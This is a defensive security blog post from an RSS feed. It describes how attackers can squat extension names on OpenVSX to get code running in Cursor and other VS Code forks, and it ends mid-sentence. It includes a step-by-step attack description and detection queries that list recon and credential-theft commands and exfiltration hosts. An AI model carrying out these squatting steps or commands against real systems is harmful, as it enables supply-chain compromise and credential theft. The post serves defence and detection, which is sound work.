<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Berk ALBAYRAK on Medium]]></title>
        <description><![CDATA[Stories by Berk ALBAYRAK on Medium]]></description>
        <link>https://medium.com/@brkalbyrk?source=rss-470684e20f75------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Q7HLmYpuFznKB2dVtGLHqg.jpeg</url>
            <title>Stories by Berk ALBAYRAK on Medium</title>
            <link>https://medium.com/@brkalbyrk?source=rss-470684e20f75------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 11:11:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@brkalbyrk/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[When Your IDE Becomes a RCE Endpoint]]></title>
            <link>https://medium.com/trendyol-tech/when-your-ide-becomes-a-rce-endpoint-c87b85096b19?source=rss-470684e20f75------2</link>
            <guid isPermaLink="false">https://medium.com/p/c87b85096b19</guid>
            <category><![CDATA[supply-chain-attack]]></category>
            <category><![CDATA[vscode]]></category>
            <category><![CDATA[vscode-extension]]></category>
            <category><![CDATA[openvsx]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Berk ALBAYRAK]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 12:26:17 GMT</pubDate>
            <atom:updated>2026-06-29T13:04:38.435Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GgPd7Ni7VVxUaKX6TsQZEA.png" /></figure><p><em>Trendyol CSOC and Application Security research on a live supply-chain technique abusing Cursor and other VS Code-derived editors through the OpenVSX registry.</em></p><h3><strong>TOC</strong></h3><ul><li>How we found ourselves looking at this</li><li>Measuring the blast radius</li><li>How Cursor decides what to install</li><li>What changed in June 2025</li><li>Walking through an attack, step by step</li><li>Indicators you can track</li><li>Hunting for it</li><li>What you should do this week</li><li>Where this goes next</li></ul><p>If your developers run <strong>Cursor</strong>, <strong>VSCodium</strong>, <strong>Windsurf</strong>, or any other fork of <strong>VS Code</strong> that pulls its extensions from <strong>OpenVSX</strong>, attacker controlled code is one editor launch away from executing on their machines. None of this is hypothetical, and the underlying idea is not even new. It is the same dependency confusion problem the npm world ran into in 2021, moved down a layer into the IDE’s extension system. We have spent the past month chasing it across our own developer fleet, watching OpenVSX namespace activity, and detonating samples in the lab. What follows is what we found, what we have done about it, and what we think every organisation should be doing this week.</p><blockquote><strong>TL;DR.</strong> Because Microsoft’s Marketplace and OpenVSX are separate trust roots, an attacker can register an abandoned or never claimed <strong>publisher.extension</strong> namespace on OpenVSX and have every Cursor, Windsurf, or other VS Code fork that resolves the same identifier silently install and run their code as the developer. The fixes that actually work are an organization wide extension allowlist, an auto update cooldown, and the detection logic at the end of this post.</blockquote><p>We did not stop at the theory. Our team snapshotted both registries in full and compared all <strong>129,000</strong> Microsoft Marketplace extensions against the <strong>14,194</strong> published on OpenVSX, one identifier at a time. What came back is a map of how much of the ecosystem is already exposed:</p><ul><li><strong>104,456</strong> Marketplace extensions have no entry on OpenVSX at all, which leaves every one of those names as a free, squat ready namespace on the registry the forks resolve against.</li><li><strong>1,078</strong> extensions resolve to a <em>different publisher</em> on OpenVSX than the one that legitimately owns the name on Microsoft’s Marketplace.</li><li><strong>924</strong> carry the same name but are already pulled from a <em>different GitHub repository</em> than the original.</li><li><strong>126</strong> are exact-ID hijacks: the identical <strong>publisher.extension</strong> exists on both registries, but the OpenVSX copy is wired to a different repository or account. This is the most dangerous band, and it includes names with millions of installs such as sumneko.lua, rust-lang.rust, and msazurermtools.azurerm-vscode-tools, where a developer typing the exact trusted identifier can still be handed code that is not the original.</li></ul><p>The attack surface on <strong>OpenVSX</strong> is wider than most people assume, and the last few months have made that hard to ignore: <strong>GlassWorm</strong>, tracked by Socket’s researchers, is a cluster of extensions that go up looking harmless, sit as <a href="https://socket.dev/blog/73-open-vsx-sleeper-extensions-glassworm">sleepers</a>, then flip into malware through <a href="https://socket.dev/blog/glassworm-loader-hits-open-vsx-via-suspected-developer-account-compromise">hijacked publisher accounts</a>, <a href="https://socket.dev/blog/glasswasm-malware-open-vsx-extensions">even hiding their command-and-control in WebAssembly and Solana transaction memos</a>. The namespace squatting we mapped is just one more door into the same building.</p><h3>How we found ourselves looking at this</h3><p>Our hunting team was reviewing developer telemetry as part of a routine sweep when we noticed something unusual in the process tree under Cursor. Cursor populates two environment variables on every process descended from an extension activation:</p><pre>CURSOR_SPAWNED_BY_EXTENSION_ID=&lt;publisher&gt;.&lt;extension&gt;<br>CURSOR_SPAWN_CHAIN=&lt;publisher&gt;.&lt;extension&gt;</pre><p>Those variables turned out to be the cleanest anchor we have ever had for “find me everything an extension did”. Once we built that pivot, we saw classic recon and exfil verbs: whoami, hostname, id, environment dumps, git remote enumeration, and HTTPS POSTs to webhook listeners, all spawning from <strong>Cursor Helper (Plugin)</strong>, all attributable to a specific publisher.extension we did not recognise.</p><p>We pulled the <strong>VSIX</strong> off the mirror, opened it in a contained environment, and watched it do exactly what the telemetry implied. Then we mapped the publisher namespace back to public repositories that referenced it, and back to its registration history on <strong>OpenVSX</strong>. The pattern was unambiguous. The identifier had been referenced in third-party templates and devcontainers for years, the original publisher account had lapsed, and somebody had registered a fresh account under the same name and shipped a new high-version VSIX. Every Cursor instance that resolved that identifier got the new payload.</p><p>To be explicit: nothing in our environment was compromised. The detonations happened in instrumented research workstations under Application Security control, and the namespace activity on OpenVSX is monitored from the outside. We are publishing because the same primitive is reachable against any organisation whose developers run an OpenVSX-backed editor, and the volume of squatted identifiers we are seeing now is too high to wait on a vendor fix.</p><p>To be fair to Cursor, this boundary is not unguarded. The marketplace proxy scans at search and download time and fails closed, threat-intel feeds block known-bad and typosquatted packages, and enterprise tiers add allowlisting, an install cooldown, optional signature verification, and a domain-verified publisher program. We have reflected those in the description above so the architecture is accurate. But accuracy cuts both ways, and none of it changes the finding. Every one of these controls is either an automated scan, which a staged or dormant payload is built to walk past, or an enterprise setting that is off until an admin turns it on. The squatter who owns the right name and waits is invisible to the first and unaffected by the second. So the residual risk does not go away; it just becomes the customer’s to carry, on an attack surface most of them do not yet know they are exposed to.</p><h3>Measuring the blast radius</h3><p>A single sample proves the technique works, but it says nothing about how much of the ecosystem is actually exposed. To get at that, we stopped looking at extensions one at a time and pulled both registries down in full. The entire <strong>Microsoft Visual Studio Marketplace</strong>, around <strong>129,000</strong> published extensions, against the entire <strong>OpenVSX</strong> registry, about <strong>14,194</strong>, lined up identifier by identifier, publisher by publisher, repository by repository.</p><p>The gap is mostly empty space, and that turns out to matter. Roughly <strong>104,456</strong> marketplace identifiers have no entry of any kind on <strong>OpenVSX</strong>, and all of them belong to Microsoft-verified publishers. Each one is a free namespace on the registry Cursor resolves against. A developer who carries any of these across the migration flow, lists one in a <strong>.vscode/extensions.json</strong>, or pulls one in through a devcontainer is asking OpenVSX for a name nobody legitimate has claimed there, and if a squatter got there first, the squatter’s package is what comes back. That is a squat-ready surface six figures wide.</p><p>At the same time we found <strong>1,078</strong> identifiers where the same extension name is published on OpenVSX under a different publisher than the one that owns it on Microsoft’s marketplace, and another <strong>924</strong> where the name matches but the source repository behind it does not: <strong>572</strong> pointing at a completely different GitHub repo, <strong>301</strong> where the repository is present on one side and missing on the other, and <strong>51</strong> that are mixed or not GitHub at all. A repository mismatch under a matching name is about the cleanest mechanical tell we have that the package a developer thinks they are installing is not the one they get.</p><p>So that this is something a team can act on rather than just a big number, we scored the high-confidence cases and grouped them into a definite universe of 393 identifiers, organised by how the trust boundary actually breaks:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c_aL6ZUXpu7KNTVQ831rEA.png" /></figure><ul><li><strong>Exact-ID hijack (126).</strong> The identical publisher.extension lives on both registries, but the OpenVSX copy comes from an unrelated account or points at a different repository. Some of these are heavily used names: sumneko.lua (2.1M marketplace installs, OpenVSX copy backed by a different repo name), rust-lang.rust (1.8M), and msazurermtools.azurerm-vscode-tools (1.5M), whose OpenVSX namespace is unverified and wired to the throwaway octocat/Hello-World repo.</li><li><strong>Migration traps (377).</strong> A popular marketplace extension whose name is squatted on OpenVSX under an alternate identifier that a migrating or fuzzy-matching resolver can land on. KADEAI.kade, with 913K downloads on the squatting kade.kade, sits at the top.</li><li><strong>Squats on unrelated popular names (38).</strong> Low-download OpenVSX packages parked on the namespace of a heavily-installed marketplace extension. nguyenoss.html-to-css-autocompletion shadows a name with 1.28M marketplace installs on roughly 5,900 downloads, with ericc-ch.lit-html (418K), Nsttt.native-preview (356K), and vuluu2k.vscode-elixir (331K) following the same shape. We flagged all of these critical.</li></ul><h3>How Cursor decides what to install</h3><p>First, a word on scope, because “<strong>VS Code fork</strong>” is doing a lot of work in this post. Microsoft open-sources the core of VS Code under the <strong>MIT</strong> licence as a project called <strong>Code-OSS</strong>, and a large family of editors is built on top of that codebase. When we say a VS Code derived editor, we mean any of them: the AI-first editors that have driven most of the recent growth, <strong>Cursor</strong> and <strong>Windsurf</strong> above all, alongside community and cloud builds. What ties them together is not the AI features but the plumbing underneath: they all inherit the same extension architecture, and almost none of them can ship Microsoft’s own marketplace with it. If your developers run any editor in that family, this applies to them, and the two that dominate enterprise developer fleets right now are <strong>Cursor</strong> and <strong>Windsurf</strong>.</p><p>The reason none of these can simply reuse Microsoft’s marketplace is licensing. VS Code reads from the <strong>Microsoft Visual Studio Marketplace</strong>, but the <a href="https://aka.ms/vsmarketplace-ToU">Marketplace Terms of Use</a> restrict it to Microsoft products only: VS Code, Visual Studio, Azure DevOps. That clause is the reason every VS Code derived editor has to use <a href="https://open-vsx.org/">OpenVSX</a> instead, the open alternative operated by the <strong>Eclipse Foundation</strong>.</p><p>The two registries share the <strong>publisher.extension</strong> naming scheme, but they do not share ownership and they do not share contents. Owning acme on Microsoft’s marketplace does not give you acme on OpenVSX. If acme was never claimed there, or was claimed once and dropped, anyone can pick it up. Just as importantly, several of the most widely used extensions on Microsoft’s marketplace are not on OpenVSX at all because Microsoft’s terms forbid republishing them: the C# extension, Pylance, Remote-SSH, Live Share, and a handful of others.</p><p>Microsoft did not stop at the terms. In <strong>2025</strong> it started actively enforcing them, adding runtime checks to its own extensions so they refuse to run anywhere that is not a genuine Microsoft product. The <strong>C/C++</strong> extension was the first high-profile case, with the <strong>C#</strong>, <strong>.NET</strong>, and <strong>Pylance</strong> tooling following the same path, and overnight the forks lost the ability to run Microsoft’s most depended-on extensions at all. That enforcement is what pushed the whole problem into the open. Cut off from the originals, Cursor and the other forks had to lean on OpenVSX for everything and republish the gaps themselves. Cursor fills those gaps by packaging their own forks under the <strong>Anysphere</strong> publisher (anysphere.pyright is a Pylance fork; anysphere.remote-ssh replaces Microsoft’s Remote-SSH; the same pattern applies to several more). The official replacements are the ones that show up first in Cursor’s extension search. Anything that is not on OpenVSX and not republished by Anysphere lives in a hole that name-squatters are happy to fill.</p><p>Architecturally, Cursor does not talk to open-vsx.org directly. The editor’s <strong>product.json</strong> sets <strong>extensionsGallery.serviceUrl</strong> to <a href="https://marketplace.cursorapi.com/_apis/public/gallery,">https://marketplace.cursorapi.com/_apis/public/gallery,</a> which is <strong>Cursor’s</strong> own proxy layer in front of <strong>OpenVSX</strong>. The <a href="https://cursor.com/help/customization/extensions">proxy applies automated analysis</a> before an extension is served, and withholds anything that has not passed. Even with it in place, when the analysis comes back clean the package is still served under whatever publisher owns the name on OpenVSX, which may not be the party a developer believes they are trusting. The scan answers “is this payload malicious right now”; it does not answer “is this the publisher you meant”, and namespace confusion lives entirely inside that second question.</p><p>On a default install there is no signature continuity check and no warning when the upstream publisher behind a previously trusted identifier changes hands. <strong>Cursor</strong> does have controls that bear on this, an opt-in <strong>domain-verified publisher program</strong>, optional enterprise enforcement of signature verification, and centrally managed allowlisting through b <strong>IAM</strong>, but the ones that would actually pin a publisher or block a swapped identity are opt-in or enterprise-gated. Also Cursor uses 3rd parties to scan extensions and block them if necessary. For someone using the default experience, there is little indication that a familiar identifier may now be controlled by a different party. The <strong>Microsoft Marketplace</strong>’s signed publisher verification layer, which has historically caught at least the most blatant impersonation attempts, is on by default; here the equivalent protection is off until someone deliberately enables it, and the squat works in the meantime.</p><p>Every one of these paths feeds an identifier to the registry, accepts whatever the registry returns, and installs it. The two upstream entry points the <strong>Cursor</strong> proxy itself fronts are:</p><blockquote><em>cursor-cdn.com/openvsx_v0/</em></blockquote><blockquote><em>marketplace.cursorapi.com/open-vsx-mirror/</em></blockquote><h3>What changed in June 2025</h3><p>The exposure window for Cursor users opens with a specific, datable decision. On 25 June 2025, Cursor announced on their forum that the in-app extension library had been switched to use <strong>OpenVSX</strong> as the underlying source (<a href="https://forum.cursor.com/t/extension-marketplace-changes-transition-to-openvsx/109138">forum thread</a>). The post explained that the team would also begin republishing many popular extensions under their own <strong>Anysphere</strong> publisher namespace, framed as drop-in replacements for compatibility. From version 1.1.3 onward, switching the marketplace backend was technically possible but explicitly called out as not officially supported.</p><p>That single change rerouted every extension identifier the editor had ever resolved. Before the migration, a developer typing ms-python.python into Cursor’s extension search would land on the Microsoft-published package from the V<strong>isual Studio Marketplace</strong>, because that is where the namespace is owned. After the migration, the same query goes to <strong>OpenVSX</strong>, where the namespace may be owned by a different party, owned by <strong>Anysphere</strong> as a republish, or unclaimed entirely.</p><p>The most consequential exposure path is the migration flow that almost every Cursor user goes through on first install.</p><blockquote>When a developer moves from VS Code to Cursor, they expect their extensions to come with them. Cursor offers exactly that: import the previous extension list and reinstall everything. The list is just identifiers. The editor reads each publisher.extension and asks the registry to resolve it. After the June 2025 change, that registry is OpenVSX. So a developer who had a perfectly legitimate set of Microsoft Marketplace extensions, every one of them properly owned by the right publisher there, ends up with whatever OpenVSX returns for those names. If a squatter owns the namespace on OpenVSX, the squatter’s payload is what gets installed. The developer made no mistake. They imported their own extension list. The trust boundary moved underneath them.</blockquote><p>This is the registry-level mechanic that makes <strong>Extension Confusion</strong> a practical attack rather than a theoretical one. The class existed before the migration. Independent research from <strong>Aikido</strong> and <strong>Koi Security</strong> in <strong>2024</strong> had already documented malicious OpenVSX packages impersonating popular names like prettier, <strong>discord</strong>, and <strong>solidity</strong>, and pointed out that VS Code forks were structurally more exposed than the Microsoft Marketplace because they lack the signed publisher verification layer. What changed in June 2025 was the size of the user base feeding identifiers into that exposed registry. Cursor’s transition turned a known weakness in OpenVSX into an attack with mass-market reach.</p><h3>Walking through an attack, step by step</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w-18dNTF_XYbkxiXw9a-EQ.png" /></figure><p><strong>Step 1. The attacker picks a target identifier.</strong> The attacker is not guessing, and they are not trawling <strong>GitHub</strong> for stray config files. They are running the same comparison we ran for this research, just with the opposite goal. They take the Microsoft Marketplace, which is the authoritative list of which extensions developers actually use and how popular each one is, and they diff it against OpenVSX, the registry the forks resolve against. The gap between the two is the target list. They are looking for one of three patterns: a popular Marketplace extension whose publisher never claimed the same name on OpenVSX, one whose OpenVSX account was registered once and then lapsed, or one that is simply absent from OpenVSX because Microsoft’s terms forbid republishing it. Any of those is a free namespace attached to a name developers already trust and install. Sorting the gap by Marketplace install count hands the attacker a ready-made priority queue: the higher the install number, the more Cursor and Windsurf users will resolve that identifier without the attacker doing anything further. Targets like <strong>bracketpaircolordlw.bracket-pair-color-dlw, georgewfraser.vscode-javac</strong>, or <strong>inferrinizzard.prettier-sql-vscode</strong> fit exactly this shape: real extensions developers reference, not republished by Anysphere, with the original publisher no longer defending the namespace on OpenVSX.</p><p><strong>Step 2. The attacker claims the namespace on OpenVSX.</strong> Anyone can do this. The attacker signs up to open-vsx.org with an email address, links a GitHub account, and requests a publisher namespace through the standard self-service flow. There is no signed identity check, no domain verification, no proof that the requester has any prior relationship to the name. Approval is administrative and fast. Within hours the attacker controls the publisher namespace.</p><blockquote>Unfortunately, when an Open-VSX developer uploads a VSIX package, it’s unclear whether that person is the owner of the GitHub account listed on the official Microsoft Marketplace.</blockquote><p><strong>Step 3. The attacker builds a malicious VSIX.</strong> A <strong>VSIX</strong> file is a zip archive with a <strong>package.json</strong> manifest and JavaScript code. The manifest declares the same <strong>publisher.extension</strong> identifier as the squat target. It sets <strong>activationEvents</strong> to [“<strong>onStartupFinished</strong>”], which tells the editor to run the extension’s <strong>activate()</strong> function the next time the IDE finishes loading, with no workspace requirement and no user click. The main field points at <strong>extension.js</strong>, where the payload lives. The payload itself is unconstrained Node.js: filesystem access, child-process spawning, network calls, full environment access. Most of the samples we have analysed in this campaign do reconnaissance on activation, exfiltrate the result over HTTPS to a webhook listener, and exit. Other samples carry credential-stealing or persistence behaviour.</p><p><strong>Step 4. The attacker bumps the version number and publishes.</strong> This is the part that turns the squat from a passive trap into an active attack. The legitimate version of <strong>inferrinizzard.prettier-sql-vscode</strong> is <strong>1.6.0</strong>. The malicious VSIX is published as <strong>20.1.0.</strong> From the registry’s perspective there is no rule that says version numbers should be sane. From Cursor’s perspective 20.1.0 is simply newer than 1.6.0, so any auto-update check will treat the malicious package as the upgrade. The attacker runs <strong>ovsx</strong> <strong>publish</strong> from the command line, the VSIX uploads to open-vsx.org, and the package becomes the canonical version of that identifier.</p><p><strong>Step 5.</strong> <strong>The package reaches Cursor’s proxy.</strong> Cursor does not query open-vsx.org directly. The editor’s product.json points at <a href="https://marketplace.cursorapi.com/_apis/public/gallery,">https://marketplace.cursorapi.com/_apis/public/gallery,</a> a Cursor-operated proxy in front of OpenVSX, served from <strong>cursor-cdn.com/openvsx_v0/</strong> and <strong>marketplace.cursorapi.com/open-vsx-mirror/</strong>. This is the step where Cursor’s automated malware analysis runs, and a package that fails it is blocked. That catches the unsophisticated end of the problem, but it is exactly the kind of control attackers stage around: delayed activation, dynamic payload fetch, encrypted blobs, environment-gated and geofenced logic all exist to pass a clean scan and detonate later. A squatted namespace whose payload is dormant at publish time clears the proxy and reaches the developer like any other approved extension.</p><p><strong>Step 6. The developer’s editor resolves the identifier.</strong> Resolution happens through one of several paths, none of which require the developer to do anything unusual. The most common is the migration flow: a developer installs Cursor for the first time, accepts the prompt to import their VS Code extensions, and Cursor walks the imported list calling its install endpoint for each publisher.extension. Each lookup hits the OpenVSX cache. If a squatter owns the namespace, the squatter’s VSIX comes back. The developer thinks they are reinstalling the same extensions they have always used. The other paths look the same from the editor’s perspective: opening a workspace whose <strong>.vscode/extensions.json</strong> lists the identifier, starting a devcontainer with the identifier in <strong>customizations.vscode.extensions</strong>, running an internal onboarding script that calls cursor — install-extension publisher.ext, or simply having auto-update enabled on an existing install while the squatter publishes a higher version number.</p><p><strong>Step 7. Cursor installs and activates the VSIX.</strong> The download lands in the user’s <strong>~/.cursor/extensions</strong> directory under a folder named <strong>&lt;publisher&gt;.&lt;extension&gt;-&lt;version&gt;</strong>. The editor reads package.json, sees “activationEvents”: [“onStartupFinished”], and as soon as the IDE finishes its startup sequence, calls activate(context). There is no security prompt, no signature verification, and no banner indicating the package is new or that the publisher behind a previously trusted name has changed. The developer’s IDE looks normal.</p><p><strong>Step 8. The payload runs as the developer.</strong> At this point there is no security boundary left. The extension is a Node.js process with the full privileges of the user account running Cursor. It can read every file in every workspace folder, walk every Git repository, dump environment variables, harvest credentials from ~/.aws, ~/.ssh, ~/.kube, and ~/.netrc, exfil the contents of any open editor buffer, spawn child processes that persist past the IDE’s lifetime, hook into terminals, and reach any internal network the developer’s laptop can reach.</p><p>The attack ends here, in the sense that the attacker now has whatever they wanted from the developer’s environment. The exposure does not end here, because the same primitive runs again on every IDE launch, and the same identifier resolves the same malicious version on every other developer who imports a VS Code extension list, opens the same repository, or starts the same devcontainer. One published VSIX is enough for the rest of the supply chain to do the work.</p><h3>Indicators you can track</h3><p>It is also possible to see the proof-of-concepts created by some researchers:</p><p>c0c0c549e1d7adc014f0762cf2711d0e6e3fc8acf9a4f70f1bb16f8a9938c9f8</p><p>055f5058026df4ef754c33597497ea9b61d86e0f9bc2153de496534bd7a37b6f</p><p>3164fce8183a92672301dc947343a91a262e4503e3eb9358860386d040e42bfa</p><p>fdea6a2f7e959cc81aec5eeeed0bf6d50bc1475d78e79a408e729797ece4e734</p><p>The two environment variables that anchor everything for hunting:</p><p><strong>CURSOR_SPAWNED_BY_EXTENSION_ID=</strong>&lt;publisher&gt;.&lt;extension&gt;</p><p><strong>CURSOR_SPAWN_CHAIN=</strong>&lt;publisher&gt;.&lt;extension&gt;</p><h3>Hunting for it</h3><p>Our detection model is built on three correlated signals: a child process whose parent is <strong>Cursor Helper (Plugin)</strong>, a <strong>CURSOR_SPAWN*</strong> environment variable carrying an identifier that is not on our developer-extension allowlist, and either a reconnaissance command line or an outbound network request that does not match the editor’s known telemetry destinations.</p><p>The<strong> CrowdStrike Falcon</strong> search below implements that model. Translate the field names to whatever SIEM you run. The structure is the important part. The following query catches processes descending from Cursor’s extension host by looking for the <strong>CURSOR_SPAWN</strong> signature in their environment variables. The filtering layer targets only classic reconnaissance commands (<strong>id, whoami, hostname, pwd, git config</strong>); while these commands are harmless on their own, spawning from an extension’s activation chain is not expected behaviour. The regex block extracts the triggering extension’s identity and spawn chain into dedicated fields, so results can be filtered directly against an allowlist and every extension-to-command relationship is visible in a single row.</p><pre>index=falcon event_simpleName=ProcessRollup2 EnvironmentVariablesString=&quot;*CURSOR_SPAWN*&quot;<br>| search CommandLine IN (<br> &quot;/bin/sh -c id&quot;,<br> &quot;/bin/sh -c whoami&quot;,<br> &quot;/bin/sh -c hostname&quot;,<br> &quot;/bin/sh -c pwd&quot;,<br> &quot;/bin/sh -c git config*&quot;)<br>| rex field=EnvironmentVariablesString &quot;CURSOR_SPAWNED_BY_EXTENSION_ID=(?&lt;extension_id&gt;\S+)&quot;<br>| rex field=EnvironmentVariablesString &quot;CURSOR_SPAWN_CHAIN=(?&lt;spawn_chain&gt;\S+)&quot;<br>| table _time, aid, ComputerName, ParentBaseFileName, extension_id, spawn_chain, ImageFileName, CommandLine, ComputerName, UserName</pre><p>The second query goes beyond the first by not stopping at command-line matching alone; it correlates DNS requests initiated by the extension host process with reconnaissance and exfiltration commands executed by the same process. This surfaces cases where an extension both runs a suspicious command and reaches out to a network destination outside the editor’s known telemetry targets, collapsing both signals into a single alert. The inclusion of git config, git remote, and git credential in the command list is deliberate; through these calls the attacker harvests the developer’s <strong>GitHub, GitLab, Bitbucket</strong>, and <strong>Azure</strong> <strong>DevOps</strong> identities, remote repository URLs, and stored credentials. Combined with the DNS correlation, this makes it visible in a single alert not only what the attacker enumerated locally but which external destination the results were exfiltrated to. The query depends on a lookup file called cursor_whitelisted_extensions.csv; this file must be created ahead of time and populated with your organisation’s approved third-party extensions and internally developed extension identifiers. Finally, the NOT DomainName IN (…) block in the opening line covers only baseline Microsoft and GitHub telemetry destinations; expanding this list with the CDNs, npm registries, and API endpoints that extensions in your environment legitimately call will help bring the false-positive rate down to a workable level.</p><pre>index=falcon event_simpleName=DnsRequest ContextBaseFileName=&quot;Cursor Helper (Plugin)&quot; NOT DomainName IN (&quot;www.microsoft.com&quot;, &quot;*google.com&quot;, &quot;go.dev&quot;, &quot;aka.ms&quot;, &quot;settings.visualstudio.microsoft.com&quot;, &quot;copilot-telemetry.githubusercontent.com&quot;)<br>    [ search index=falcon event_simpleName=ProcessRollup2 EnvironmentVariablesString=&quot;*CURSOR_SPAWN*&quot;<br>    | rex field=EnvironmentVariablesString &quot;CURSOR_SPAWNED_BY_EXTENSION_ID=(?&lt;extension_id&gt;\S+)&quot;<br>    | rex field=EnvironmentVariablesString &quot;CURSOR_SPAWN_CHAIN=(?&lt;spawn_chain&gt;\S+)&quot;<br>    | search CommandLine IN (&quot;*whoami*&quot;, &quot;*hostname*&quot;, &quot;*systeminfo*&quot;, &quot;*ipconfig*&quot;, &quot;*ifconfig*&quot;, &quot;*ip addr*&quot;, &quot;*ip route*&quot;, &quot;*netstat*&quot;, &quot;*ps aux*&quot;, &quot;*ps -ef*&quot;, &quot;*tasklist*&quot;, &quot;*net user*&quot;, &quot;*net localgroup*&quot;, &quot;*net group*&quot;, &quot;*cat /etc/passwd*&quot;, &quot;*cat /etc/shadow*&quot;, &quot;*cat /etc/hosts*&quot;, &quot;*printenv*&quot;, &quot;*arp -a*&quot;, &quot;*nslookup*&quot;, &quot;*dig *&quot;, &quot;*sw_vers*&quot;, &quot;*system_profiler*&quot;, &quot;*security find*&quot;, &quot;*dscl *&quot;, &quot;*curl *&quot;, &quot;*wget *&quot;, &quot;*urllib*&quot;, &quot;*nc -*&quot;, &quot;*ncat *&quot;, &quot;*netcat*&quot;, &quot;*base64*&quot;, &quot;*openssl *&quot;, &quot;*certutil*&quot;, &quot;*bitsadmin*&quot;, &quot;*Invoke-WebRequest*&quot;, &quot;*WebClient*&quot;, &quot;*osascript*&quot;, &quot;*scp *&quot;, &quot;*rsync *&quot;, &quot;*/bin/id*&quot;, &quot;* id&quot;, &quot;uname*&quot;, &quot;*git config*&quot;, &quot;*git remote*&quot;, &quot;*git credential*&quot;)<br>    | lookup cursor_whitelisted_extensions.csv extension_id OUTPUT extension_id AS whitelisted<br>    | where isnull(whitelisted)<br>    | eval ContextProcessId = tostring(SourceProcessId)<br>    | fields aid, ContextProcessId]<br>| eval ContextProcessId = tostring(ContextProcessId)<br>| join type=inner max=0 aid ContextProcessId<br>    [ search index=falcon event_simpleName=ProcessRollup2 EnvironmentVariablesString=&quot;*CURSOR_SPAWN*&quot;<br>    | rex field=EnvironmentVariablesString &quot;CURSOR_SPAWNED_BY_EXTENSION_ID=(?&lt;extension_id&gt;\S+)&quot;<br>    | rex field=EnvironmentVariablesString &quot;CURSOR_SPAWN_CHAIN=(?&lt;spawn_chain&gt;\S+)&quot;<br>    | lookup cursor_whitelisted_extensions.csv extension_id OUTPUT extension_id AS whitelisted<br>    | where isnull(whitelisted)<br>    | eval ContextProcessId = tostring(SourceProcessId)<br>    | fields aid, ContextProcessId, extension_id, spawn_chain, CommandLine, ParentBaseFileName, ImageFileName, ComputerName, UserName]<br>| mvexpand extension_id<br>| mvexpand spawn_chain<br>| mvexpand CommandLine<br>| table aid, ComputerName, UserName, extension_id, spawn_chain, ParentBaseFileName, ContextBaseFileName, ImageFileName, DomainName, CommandLine, ContextProcessId</pre><p>Two things to call out about the search. The DNS allowlist at the top is the IDE’s known telemetry, marketplace, and copilot destinations. Anything outside that set, originating from the extension host, is the start of the alert. The command-line block is intentionally broad because we are anchoring on extension-host provenance, not on the verbs themselves. The allowlists for trusted developer extensions and known-benign command lines are environment-specific. Replace eamodio.gitlens, anthropic.claude-code, and our internal-tooling exclusions with whatever your fleet has approved. Do not weaken the verb list.</p><p>For teams that do not run <strong>Falcon</strong>, the same idea reduces to:</p><pre>parent_process == “Cursor Helper (Plugin)”<br>AND environment contains “CURSOR_SPAWNED_BY_EXTENSION_ID”<br>AND extension_id NOT IN allowlist<br>AND (command_line MATCHES recon_or_credential_pattern OR dns_query NOT IN known_telemetry_allowlist OR network_destination MATCHES (webhook.site, oast.pro, *.ngrok.io, interact.sh, requestbin.*, beeceptor.com))</pre><blockquote>Before any of this works, the telemetry has to exist, and that is the part we nearly got wrong. Several EDR products do not, in their default configuration, record the files an extension drops on disk. The gap is worst on macOS, which is exactly where most Cursor and Windsurf users are. When a malicious <strong>VSIX</strong> unpacks into <strong>~/.cursor/extensions</strong>, <strong>~/.vscode/extensions</strong>, or the <strong>Windsurf</strong> equivalents, the agent watches a .js or .ts file land but never opens it or hashes it. What you get is a file-creation event with a path and a timestamp and nothing underneath it to pivot on: no hash to match against known-bad, nothing to retro-hunt with across the rest of the fleet, no SHA-256 to hand IR. The events are there; the one field detection actually needs is not.</blockquote><p>The fix is to add those directories to your file integrity or content collection policy on developer endpoints, so that every .js, .ts, and .vsix written under them is hashed and the hash is shipped with the event. While you are in that policy, confirm the same endpoints capture full command lines and environment blocks for processes spawned under <strong>Cursor Helper (Plugin)</strong>. If the <strong>CURSOR_SPAWN*</strong> variables never reach your process events, the queries above return nothing and the silence reads as “clean” when it is really “blind”. Treat both gaps as configuration findings, not as evidence that nothing is happening, and re-baseline once they are closed.</p><h3>What you should do this week</h3><p>Four things, in order of return on effort.</p><p><strong>1- Allowlist your extensions.</strong> Maintain an organisation-wide list of approved <strong>publisher.extension</strong> identifiers and enforce it through MDM, IDE Admin configuration, or a managed extension proxy. Nothing else on this list matters as much. If you run Cursor or Windsurf on their enterprise tiers, you do not have to build this from scratch, because both ship a native allowlist control. Cursor exposes an <a href="https://cursor.com/docs/enterprise/identity-and-access-management#allowed-extensions">allowed-extensions setting in its enterprise IAM admin panel</a> that restricts installs to a list you define centrally. Windsurf does the equivalent through its <a href="https://docs.devin.ai/desktop/enterprise-policies">enterprise policies</a>, which let an administrator control extension management across the fleet. Turn one of these on before you do anything else; an enforced allowlist is the single control that takes the squat-ready surface off the table for your developers.</p><p><strong>2- Disable or cooldown auto-update.</strong> If a full disable is impractical, hold new extension versions for 24 to 48 hours before they are eligible to install. Most malicious extensions get pulled inside that window, so a cooldown turns a race condition into a review opportunity. Cursor ships this natively: the <strong>Marketplace Install Cooldown </strong>(hours) setting defers installing or updating an extension until its current Marketplace version has been published for at least the number of hours you specify (set to 0 to disable). Configured at the team level, it overrides the per-user <strong>extensions.installCooldownHours </strong>value in each member&#39;s 